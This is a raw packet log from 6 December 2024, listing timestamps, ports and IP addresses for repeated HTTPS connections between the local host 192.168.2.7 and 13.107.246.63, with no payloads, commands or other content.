Dec 6, 2024 15:53:06.051357031 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.051577091 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.051868916 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.051886082 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.051892042 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.051898956 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.066617012 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.066668034 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.066860914 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.070933104 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.070962906 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.451000929 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.451025963 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.452212095 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.452229977 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.452316999 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.452327013 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.452361107 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.452502012 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.452531099 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.453068018 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.456407070 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.456450939 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.456880093 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.457102060 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.457114935 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.486659050 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.494405031 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.494429111 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.494993925 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.495001078 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.646439075 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.664186954 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.664227009 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.664638042 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.664644003 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.722868919 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.764586926 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.764630079 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.765029907 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.765039921 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.933801889 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.933903933 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.938827991 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.979265928 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.979311943 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.979332924 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.979341030 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.987976074 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.988030910 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:06.988127947 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.988682032 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:06.988698006 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.122706890 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.122787952 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.124804974 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.125271082 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.125292063 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.125302076 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.125308037 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.128014088 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.128073931 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.128160954 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.128345966 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.128362894 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.230469942 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.230493069 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.230556965 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.230571032 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.230792999 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.230804920 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.230815887 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.230964899 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.230997086 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.231791973 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.234076977 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.234131098 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.234286070 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.234443903 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.234458923 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.931160927 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.931646109 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.931677103 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:07.932092905 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:07.932099104 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.370017052 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.370536089 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.370554924 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.371007919 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.371014118 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.373898029 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.373919964 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.373970032 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.374007940 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.374044895 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.374193907 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.374217987 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.374231100 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.374237061 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.377067089 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.377110958 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.377419949 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.377552986 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.377568960 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.741108894 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.743963957 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.743994951 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.744440079 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.744446993 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.870079994 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.870649099 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.870672941 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.871167898 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.871175051 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.945216894 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.945245981 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.945318937 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.945333004 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.946192026 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.946203947 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.946214914 CET	49812	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.946239948 CET	443	49812	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.948769093 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.948800087 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.948901892 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.949037075 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.949048042 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.957041025 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.957632065 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.957653999 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:08.958080053 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:08.958085060 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.212083101 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.212157965 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.216444969 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.216948032 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.216972113 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.216979027 CET	49813	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.216984987 CET	443	49813	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.222611904 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.222656012 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.224153042 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.224536896 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.224554062 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.304750919 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.304821968 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.308056116 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.309735060 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.309757948 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.309770107 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.309776068 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.314934969 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.314985037 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.315165043 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.315850019 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.315861940 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.394047022 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.395515919 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.407330036 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.414403915 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.436490059 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.436517000 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.436527014 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.436533928 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.607297897 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.607352018 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:09.618594885 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.620014906 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:09.620038033 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.171233892 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.171788931 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.171824932 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.172283888 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.172290087 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.609064102 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.612286091 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.612373114 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.612417936 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.612437010 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.612452030 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.612459898 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.615307093 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.615349054 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.615506887 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.615581036 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.615588903 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.664735079 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.665287018 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.665309906 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.665800095 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.665806055 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.949054003 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.949565887 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.949584961 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:10.950097084 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:10.950102091 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.035011053 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.035526037 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.035541058 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.036037922 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.036042929 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.110938072 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.111608028 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.113738060 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.117959976 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.117974997 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.118009090 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.118016005 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.125085115 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.125125885 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.125257969 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.126188040 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.126205921 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.337842941 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.338345051 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.338361025 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.338989019 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.338994026 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.385629892 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.388542891 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.390873909 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.391227961 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.391252995 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.391259909 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.391267061 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.394536972 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.394572973 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.394654036 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.394807100 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.394819975 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.470715046 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.474064112 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.474153042 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.474230051 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.474245071 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.474256039 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.474261999 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.477886915 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.477946043 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.481336117 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.481617928 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.481637955 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.773929119 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.778042078 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.780836105 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.782849073 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.782867908 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.782881975 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.782890081 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.786133051 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.786194086 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:11.786814928 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.787199020 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:11.787220001 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.353579044 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.354408026 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:12.354423046 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.354967117 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:12.354971886 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.793777943 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.798580885 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.798837900 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:12.798875093 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:12.798887968 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.798926115 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:12.798932076 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.801918030 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:12.801970959 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.802054882 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:12.802278042 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:12.802323103 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.844744921 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.846262932 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:12.846308947 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:12.846802950 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:12.846828938 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.233879089 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.234879971 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.234929085 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.235321999 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.235331059 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.396114111 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.396203041 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.403328896 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.404093027 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.404117107 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.404134035 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.404143095 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.407145023 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.407185078 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.407293081 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.407469034 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.407485008 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.604352951 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.604914904 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.604933977 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.605401039 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.605407953 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.670356035 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.673261881 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.674972057 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.676223993 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.676254988 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.676269054 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.676276922 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.678823948 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.678870916 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:13.679100037 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.680213928 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:13.680233955 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.042447090 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.042972088 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.043031931 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.047326088 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.053560019 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:14.055780888 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:14.055802107 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.055816889 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:14.055824041 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.059000015 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:14.059039116 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.073646069 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:14.074004889 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:14.074018955 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.562143087 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.613373995 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:14.613415956 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.614124060 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:14.614140034 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:14.997441053 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.001811981 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.003870010 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.004527092 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.004547119 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.004558086 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.004564047 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.007410049 CET	49830	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.007452965 CET	443	49830	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:15.016860962 CET	49830	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:15.017026901 CET	49830	443	192.168.2.7	13.107.246.63
